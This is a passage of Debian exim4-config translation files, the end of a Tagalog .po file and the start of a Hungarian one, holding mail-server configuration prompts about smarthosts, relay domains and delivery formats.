called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Mga sistema na may dinamikong IP address, kasama dito ang mga sistemang " "dialup, ay madalas na isinasaayos upang magpadala ng palabas na koreo sa " "ibang makina, tinatawagang \"smart host\" para sa pagpapadala. Maaari niyong " "piliin na tumanggap ng koreo sa ganitong uri ng sistema; o na walang lokal " "na paghatid ng koreo, maliban sa koreo para sa root at postmaster." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Talagang iwanan ang sistemang pang-koreo na hindi nakaayos?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Hanggang maisaayos ang inyong sistemang pang-koreo, ito ay magiging sira at " "hindi maaaring gamitin. Siyempre, maaari ninyo itong isaayos mamaya, ng mano-" "mano o sa pamamagitan ng pagpapatakbo ng \"dpkg-reconfigure exim4-config\" " "bilang root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Pangalan ng sistema pang-koreo:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Ang pangalan na ito ay gagamitin din ng ibang mga programa; ito dapat ay " "iisang buong pangalan ng domain (Fully Qualified Domain Name o FQDN) na " "makikita kung saan nagmula ang mga koreo." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ang pangalan na ito ay hindi makikita sa mga linyang From: sa mga koreong " "palabas kung inyong iaktibo ang pagsusulat-muli." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Ibang mga patutunguhan na kung saan ang koreo ay tatanggapin:" #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Ibigay ang mga pangalan ng domain na dapat ituring ng makina na ito na " "kahulihang destinasyon, bukod sa lokal na pangalan (${fqdn}) at \"localhost" "\"." #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Ang default na pagproseso ng lahat ng mga domain ay pareho; kung nais niyong " "magkaiba ang pagproseso ng magkaibang mga pangalan ng domain, dapat ninyong " "baguhin ang mga tipunang pagsasaayos matapos nito." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Mga domain na ihahatid natin ang koreo:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Mga makina na papayagang mag-relay:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Kung mayroon, ibigay sila dito, nakahiwalay ng mga tutuldok. Dapat niyong " "gamitin ang anyong batayan na address/sakop (hal. 194.222.242.0/24)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nababasang domain name para sa mga lokal na gumagamit:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Basahin ang /usr/share/doc/exim4-base/README.Debian.gz para sa mga paalala " "tungkol sa pagsasaayos ng SMTP authentication." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Ang tatanggap ng koreo para sa root at sa postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Ang mga koreo para sa \"postmaster\", \"root\", at ibang mga account ng " "sistema ay madalas na pinapadala sa totoong account ng taong namamahala ng " "sistema. Kung iwanan ninyong blanko ito, ang koreong mga ito ay iimbakin sa /" "var/mail/mail, at hindi ito rekomendado. Dapat na mabatid na ang koreo ng " "postmaster ay dapat basahin sa makina kung saan ito natanggap, at hindi " "mungkahi na ito'y ilipat sa ibang makina, kaya't (dapat ay may isa) ang mga " "gumagamit na pipiliin niyo ay dapat hindi magpalipat ng kanilang koreo sa " "ibang makina. Gumamit ng \"real-\" na prefix upang pilitin ang paghatid na " "lokal." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Magbigay ng isa o higit pa na mga gumagamit na nakahiwalay ng puwang." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Mga IP address na papakinggan para sa papasok na koneksyong SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Kung iwanan ninyong blanko ito, makikinig ang Exim para sa koneksyong SMTP " "sa lahat ng magagamit na mga network interface." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Kung hindi tatanggap ang kompyuter na ito ng koreo ng direkta na SMTP mula " "sa IBANG mga makina, kundi lamang sa mga lokal na serbisyo tulad ng " "fetchmail o ng inyong programang pang-email (MUA) sa pakikipagusap sa " "localhost, dapat niyong ipagbawal ang koneksyon mula sa labas patungo sa " "Exim sa pagtakda nitong option na ito sa 127.0.0.1 at sa ganoong paraan ay " "hindi ito makikinig sa mga network interface na pampubliko." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Ilimita ang pagtanong sa DNS (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Sa karaniwang pagtakbo ang Exim ay nagtatanong sa DNS sa umpisa, kapag ito'y " "nakakatanggap o nagpapadala ng mga koreo, atbp. para sa pagtatala at upang " "iwanan na kaunti lamang ang nakatakdang halaga sa hard-code sa tipunang " "pagsasaayos." #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Kung ito'y makina na walang permanenteng DNS access at gumagamit ng Dial-on-" "Demand, maaaring ito'y magkaroon ng hindi kanais-nais na pangyayari na kapag " "tumakbo ang exim o pagproseso ng queue (kahit na walang mga koreong " "naghihintay) ay ito'y mag-trigger ng magastos na dial-up event." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" #. Type: title #. Description #: ../exim4-config.templates:12001 #, fuzzy msgid "Mail Server configuration" msgstr "Pangkalahatang pagsasaayos ng koreo:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Ipaghati ang pagsasaayos sa maliliit na mga tipunan?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Ang paketeng exim4 ng Debian ay maaaring gumamit ng iisang malaking tipunan " "(/etc/exim4/exim4.conf.template) o higit-kumulang ng 40 na maliit na tipunan " "sa /etc/exim4/conf.d/ upang makabuo ng kahulihang pagsasaayos." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Ang nauna ay mas-akma sa malalaking pagbabago at karaniwan ito'y mas-stable, " "samantalang ang nahuli ay masmadali ang pagbabago na maliliit ngunit ito'y " "masmadaling masira ang pagsasaayos kung ito'y madalas na baguhin." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Itago ang pangalang lokal sa palabas na koreo?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Ang mga header ng palabas na koreo ay maaaring isulat muli upang magmukhang " "ito'y ginawa sa ibang makina, ang pagpalit ng \"${mailname}\" \"localhost\" " "at \"${dc_other_hostnames}\" sa From, Reply-To, Sender at Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 #, fuzzy msgid "Delivery method for local mail:" msgstr "koreo pinapadala sa smarthost; walang lokal na koreo" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Ilipat ang hindi pa naihahatid na mga koreo mula sa exim(v3) patungo sa " #~ "exim4 spool?" #, fuzzy #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "May mga hindi pa naihahatid na mga koreo sa spool directory ng exim o " #~ "exim-tls sa /var/spool/exim/input/. Maaari silang ilipat sa spool ng " #~ "exim4 (/var/spool/exim4/input/) ngayon kung saan sila'y maproproseso ng " #~ "exim4." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Dapat ninyong mabatid na gumagana ito ng isang-direksyon lamang, dahil " #~ "kaya ng exim4 na i-proseso ang spool ng exim(v3) ngunit hindi kaya ng exim" #~ "(v3) na i-proseso ang exim4." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Ilipat lamang ang mga koreo na hindi niyo balak ibalik sa exim(v3), kung " #~ "hindi ay hindi dapat ilipat ang mga koreo ngayon kundi mamaya ng mano-" #~ "mano matapos niyong mapalitan ang inyong pagkaayos." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Kung mayroon pang iba, ibigay ang mga ito dito, nakahiwalay ng mga " #~ "tutuldok. Maaari ninyong iwanan itong blanko kung wala." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Ibigay ang mga domain na tatanggapin niyo na kahalip kayo sa paghatid ng " #~ "koreo." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Ang mga domain na ito ay mga domain na handa niyong tanggapin ang koreo " #~ "mula kahit saan sa Internet. Huwag ibibigay ang mga lokal na domain dito." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Ang mga domain na ibibigay dito ay kailangang nakahiwalay ng mga kolon. " #~ "Maaaring gumamit ng mga wildcard." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Dahil pinatago ninyo ang lokal na pangalan ng makina sa palabas na koreo, " #~ "kinakailangan ninyong itakda ang domain name na gagamitin sa mga koreo na " #~ "magmumula sa mga gumagamit na lokal; madalas ay ito ay ang pangalan ng " #~ "makina kung saan ninyo tinatanggap ang inyong mga koreo." #~ msgid "Where will your users read their mail?" #~ msgstr "Saan magbabasa ng koreo ang inyong mga gumagamit?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Pagproseso ng makina ng koreong palabas mula sa makinang ito (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Ibigay ang pangalan ng makina kung saan pinapadala ang palabas na koreo." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Itakdang enabled ang feature na ito kung kayo'y gumagamit ng Dial-on-" #~ "Demand; kung hindi, itakdang disabled." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Piliin ang uri ng pagsasaayos na akma sa inyong pangangailangan." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Kung hindi kayo tiyak ay hindi niyo dapat ipaghati ang pagsasaayos." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "ayusin ng mano-mano mula sa kinamay na pagsasaayos ng exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Isaayos ang Exim4 ng mano-mano?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Nasabi niyo na mayroon kayong de kamay na pagsasaayos ng Exim 3. Upang " #~ "malipat ito sa Exim 4, maaari niyong gamitin ang exim_convert4r4(8) " #~ "matapos ng pag-install. Basahin ang /usr/share/doc/exim4-base/examples/" #~ "example.conf.gz at /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Hanggang maisaayos ang inyong sistemang pang-koreo, ito ay hindi " #~ "magagamit." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Ang \"pangalang pang-koreo\" ay ang bahaging hostname/pangalan ng address " #~ "na ipinapakita sa palabas na balita at koreo (susunod sa pangalan ng " #~ "gumagamit at ng simbolong @) maliban sa ito'y itinatago sa pagsusulat " #~ "muli. " #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Ibigay dito ang mga network ng mga makinang lokal na nais niyong " #~ "tanggapin ang mga koreo upang ipaabot ang mga ito." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Dapat ay kasama dito ang lahat ng mga makina na gagamitin tayo bilang " #~ "smarthost." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Kailangan na doble ang mga tutuldok sa mga address na IPv6 (hal. " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Magbigay ng talaan ng mga IP address na papakinggan na nakahiwalay ng mga " #~ "tutuldok. Kailangang idoble ang mga tutuldok sa mga address na IPv6 " #~ "(hal. 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Pagsasaayos ng Exim v4 (exim4-config)" debian/po/hu.po0000644000000000000000000010362312027557533010576 0ustar # translation of exim4 to Hungarian # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2006-10-14 14:39+0100\n" "Last-Translator: SZERVÁC Attila \n" "Language-Team: Hungarian \n" "Language: hu\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: Plural-Forms: nplurals=2; plural=n>1;\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Eltávolítod a spool könyvtárban lévő kézbesítetlen leveleket?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Kézbesítetlen levelek vannak a /var/spool/exim4/input könyvtárban. Az Exim " "eltávolítása után annak újratelepítésééig ezek így is maradnak." #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "E lehetőség elvetésével a spool könyvtár megmarad, lehetővé téve a sorban " "lévő üzenetek kézbesítését az Exim újratelepítésekor." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Az exim4-config csomag újrakonfigurálása e csomag helyett" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 #, fuzzy msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Az Exim4 beállítása az exim4-config önálló csomagban van. Az Exim4 " "újrakonfigurálásához használd a dpkg-reconfigure exim4-config parancsot." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internetes gép; levélküldés és -fogadás közvetlenül SMTP-vel" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "levélküldés \"smarthost\" útján; -fogadás SMTP vagy fetchmail révén" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "levélküldés \"smarthost\" útján; nincs helyi levelezés" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "csak helyi kézbesítés; hálózatban nem" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "konfigurálás mellőzése" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Levelezési konfiguráció általános típusa:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Válaszd az igényeidnek leginkább megfelelő levelező kiszolgáló beállítás " "típust." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "A dinamikus IP-című rendszerek, így a betárcsázók is leveleiket általában " "egy más, úgynevezett \"smarthost\" gépen át küldik, mert az Interneten lévő " "sok címzett levél-szemét védelem címén gátolja a dinamikus IP-címekről " "érkező leveleket" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "A dinamikus IP-címekkel rendelkező gépek is képesek fogadni leveleiket, de a " "helyi kézbesítés teljesen ki is kapcsolható (kivéve a root és postmaster " "leveleit)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "A levelezőrendszert tényleg konfigurálatlanul hagyod?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "A levelezőrendszer beállításáig nem lesz használható. A későbbi beállítás " "elvégezhető kézzel, vagy a \"dpkg-reconfigure exim4-config\" root " "felhasználókénti futtatásával." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "A rendszer levelezésben használt neve:" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "A \"levél név\" annak a tartománynak neve, mely tartomány nélküli " "levélcímeket \"minősít\"." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "E nevet más programok is használják. Egyedi, teljes tartomány név (FQDN) " "legyen." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Például, ha egy levél cím a helyi gépen foo@tartomány.példa, e lehetőség " "helyes értéke tartomány.példa" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "E név nem jelenik meg a kimenő levelek From: soraiban átíró állapotban." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Más címzettek, melyre leveleket fogadsz:" #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Add meg pontosvesszővel elválasztva a címzett tartományokat, melyeket e gép " "végcélnak tekint, kivéve saját helyi neveit (${fqdn}) és \"localhost\"). E " "tartományok szokásos neve \"helyi tartományok\"." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Alapértelmezetten minden helyi tartomány azonos kezelést kap. Ha az a.példa " "és b.példa is helyi tartomány, végül a fiók@a.példa és fiók@b.példa is " "ugyanoda lesz kézbesítve. Tartomány nevek eltérő kezelése később beállító " "fájlok módosítását igényli." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Levéltovábbítása fogadott tartományok:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Add meg pontosvesszőkkel elválasztva a címzett tartományokat, melyekre e " "rendszer leveleket továbbítson, például mint pót MX vagy levél átjáró. Ez " "azt jelenti, hogy e rendszer bárhonnan az Internetről elfogad leveleket e " "tartományokra és a helyi kézbesítési szabályoknak megfelelően kézbesíti őket." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Ne említs helyi tartományokat itt. Helyettesítő karakterek használhatók." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Levéltovábbításra fogadott gépek:" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Adj meg pontosvesszőkkel elválasztva IP-tartományokat, melyek számára e " "rendszer tetszőlegesen továbbít leveleket továbbít mint smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "A szabvány cím/hossz formát használd (például 194.222.242.0/24 vagy " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "Ha e rendszer nem smarthost másoknak, hagyd üresen." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Helyi felhasználók levelein feltüntetendő tartománynév:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "A kimenő levelek helyi levelező neve rejtése bekapcsolva. Ezért meg kell " "adni a tartomány nevét, melyet e rendszer a helyi felhasználók küldő címei " "tartomány részeként használjon." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "A kimenő smarthost IP-címe vagy gépneve:" #. 